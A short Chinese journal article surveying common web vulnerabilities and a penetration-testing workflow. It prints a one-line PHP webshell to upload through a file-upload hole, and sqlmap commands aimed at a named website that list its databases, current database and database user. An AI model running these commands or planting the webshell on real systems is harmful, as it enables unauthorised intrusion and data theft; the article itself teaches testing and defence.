肖鹏
摘 要:随着Web2.0技术的发展,人们的生活随之改变。但带来的安全问题也困扰着网络用户,遭遇了前所未有的挑战。本文提出了几种Web安全问题,以及渗透测试方法,为保障Web安全提供了思路。
关键词:Web安全 信息泄露 渗透测试
中图分类号:TP316 文献标识码:A 文章编号:1674-098X(2019)06(b)-0132-02
1 web安全概述
Web2.0以后,计算机的Web应用发展的非常迅速,Web应用平台被应用到多个领域。在方便用户使用的同时,随之而来的安全问题也很多,造成信息泄露,严重影响了个人隐私,为生产生活带来了安全隐患。Web应用程序出现安全漏洞的原因有很多。首先,开发人员编写程序时没有进行统一的安全培训和编码规范,造成代码脚本出现漏洞。其次,对用户的输入没有进行验证,导致被黑客利用,提取数据库权限,造成信息泄露。还有,客户端的HTTP请求头被蓄意修改,让用户跳转到钓鱼网站,获取到用户的敏感信息,造成经济损失。因此Web网站的安全问题亟待解决。Web渗透测试技术是目前针对Web安全的防护技术,有效地对Web网站漏洞进行扫描,找到安全隐患。渗透攻击测试是建立模拟攻击黑客代码的攻击测试方法,用于测评网络服务器系统安全状况的一种测试评估方法[1]。本文介绍了Web应用存在的几种安全问题,以及相应的渗透测试方法。
2 web安全问题
2.1 SQL注入
SQL注入是利用拼接的SQL字符串改变了设计者原来的意图,执行如泄露数据、改变数据等操作,获取数据库的敏感信息,甚至控制数据库服务器。
2.2 XSS跨站脚本攻击
跨站点脚本是指在WEB服务器端html代码插入具有攻击目的的代码,当浏览器访问下载该页面过程中,其中的恶意脚本语句将被解释并执行,从而对客户端机器实现攻击。
2.3 文件上行传输漏洞
网络中获取文件过程中的漏洞一般是因网页中程序代码所含有上传路径变量过滤的过于疏忽产生的,比如上传程序语句代码缺少限制文件后缀类型的过滤,这样就造成攻击方通过Web访问的目录地址上传含有风险的文件,实现进入网络中服务器主机,完成对主机的控制。所以,在涉及网络传输文件的程序代码中,特别重视对文件类型的限制,防止上传含有攻击代码的文件。
2.4 文件中包含漏洞
文件中包含漏洞是因恶意代码向Web网络服务器发送请求时,在URL中增加不合法的参数,接收端程序代码中对变量过滤不充分,造成不合法的文件名被执行。这些不合法的文件名可能是服务器内部的某个文件,也可能是远端客户端的某个恶意攻击文件。这类漏洞是因PHP程序对变量过滤不充分造成的,因此只有基于PHP开发的Web网络应用程序才有可能存在文件包含漏洞。
2.5 信息泄露漏洞
在程序员进行程序代码编写过程中在代码中添加备注和注释,以便今后便于理解和维护。开发完毕后,若忽视删除注释信息,攻击者可通过对注释信息的收集,适应系统功能和流程,为攻击做准备[2]。
3 渗透测试流程
针对不同Web应用漏洞的特点,渗透测试可分为四个阶段:明确攻击目标、信息收集、漏洞探测以及利用漏洞。
3.1 明确攻击目标
(1)确定测试的范围。例如,确定测试网站的IP地址、域名,确定整站测试还是测试一个模块。
(2)确定测试规则。确定渗透程度。例如,发现漏洞之后是继续利用漏洞提取系统控制权,还是利用漏洞上传木马提取权限。
(3)确定需求。根据需求和技术来确定Web应用的漏洞有多少,能测试到多少。
3.2 信息收集
在信息收集过程中,对于攻击对象主机的Web应用进行各种信息收集。例如,操作系统类型版本、Web服务器的类型、数据库类型、目录的结构、脚本语言的类型、开源软件类型、爬出网站所有链接页面,以及程序框架。
3.3 漏洞探测
(1)自动扫描。利用自动化扫描工具实现发掘敏感信息,网站的漏洞、隐藏的漏洞。利用爬虫工具爬取网站的页面链接、后台登录页面。
例如:#sqlmap-u”http://alphaonenow.org/info.php?id=131”- -batch
(2)手动扫描。在上传漏洞中加入一句话木马<?php@eval($_post[‘pass]);?>获取系统使用权。
(3)开放搜索。利用搜索引擎获得漏洞注入点。
例如:#sqlmap-g- -batch- -proxy=http://10.30.162.109:1080
3.4 利用漏洞,獲取数据
通过sql注入,获取mysql数据库的用户权限和数据。
(1)获取数据库系统的所有数据库名称。
#sqlmap-u”http://alphaonenow.org/info.php?id=131”--dbs
(2)获取Web应用当前所连接的数据库。
#sqlmap-u”http://alphaonenow.org/info.php?id=131”--current-db
(3)获取Web应用当前所操作的DBMS用户。
#sqlmap-u”http://alphaonenow.org/info.php?id=131”--current-user
4 渗透测试方法
4.1 准确识别Web攻击的类型,可以通过构造Web攻击检测模型来完成
根据Web攻击的原理和特点,模拟出不同的漏洞检测模型。这些模型具有通用性、层次性,把这些检测漏洞添加到特征库中。这些具有Web攻击一般形态的模型,能让用户对主流的攻击迅速检测出来。
4.2 端口扫描,可以尝试进行数据库的爆破
一台计算机开放的端口和它开放的服务是对应的,而渗透测试人员可以通过端口扫描了解目标开放了哪些服务,如80端口对应HTTP服务,3306端口对应MySQL数据库,1433端口对应MSSQL数据库。通过对开放端口的分析,便可以知道目标网站使用了什么数据库,并可以尝试进行数据库的爆破。
4.3 得到Web目录,可以尝试对后台地址进行爆破
在渗透中,目录是极为重要的信息。如果得到了根目录,便可以结合注入进行GetShell,取得权限。如果有了Web目录,便可以尝试对后台地址进行爆破,对后台文件进行猜测。
4.4 漏洞扫描工具可省去手动扫描时间,提高渗透时间
漏洞扫描工具通过对整个网站目录的扫描,可以发现网站中存在的漏洞,省去人工手动查找漏洞的时间,提高了渗透的效率[3]。
5 结语
随着Web2.0的应用,提升网站和用户私密数据的安全是十分重要的。本文提出了Web安全问题,以及渗透测试方法,为评估系统潜在的安全风险,减小安全漏洞带来的损失,带来帮助。
参考文献
[1] 宋超臣.Web渗透测试流程研究[J].电子设计工程,2014,22(17):166-167.
[2] 吴兰.Web应用系统的渗透测试研究[J]电脑编程技巧与维护,2013(12):111-112.
[3] 郎智哲.浅谈Web渗透测试的信息收集[J].计算机时代,2017(8):13-16.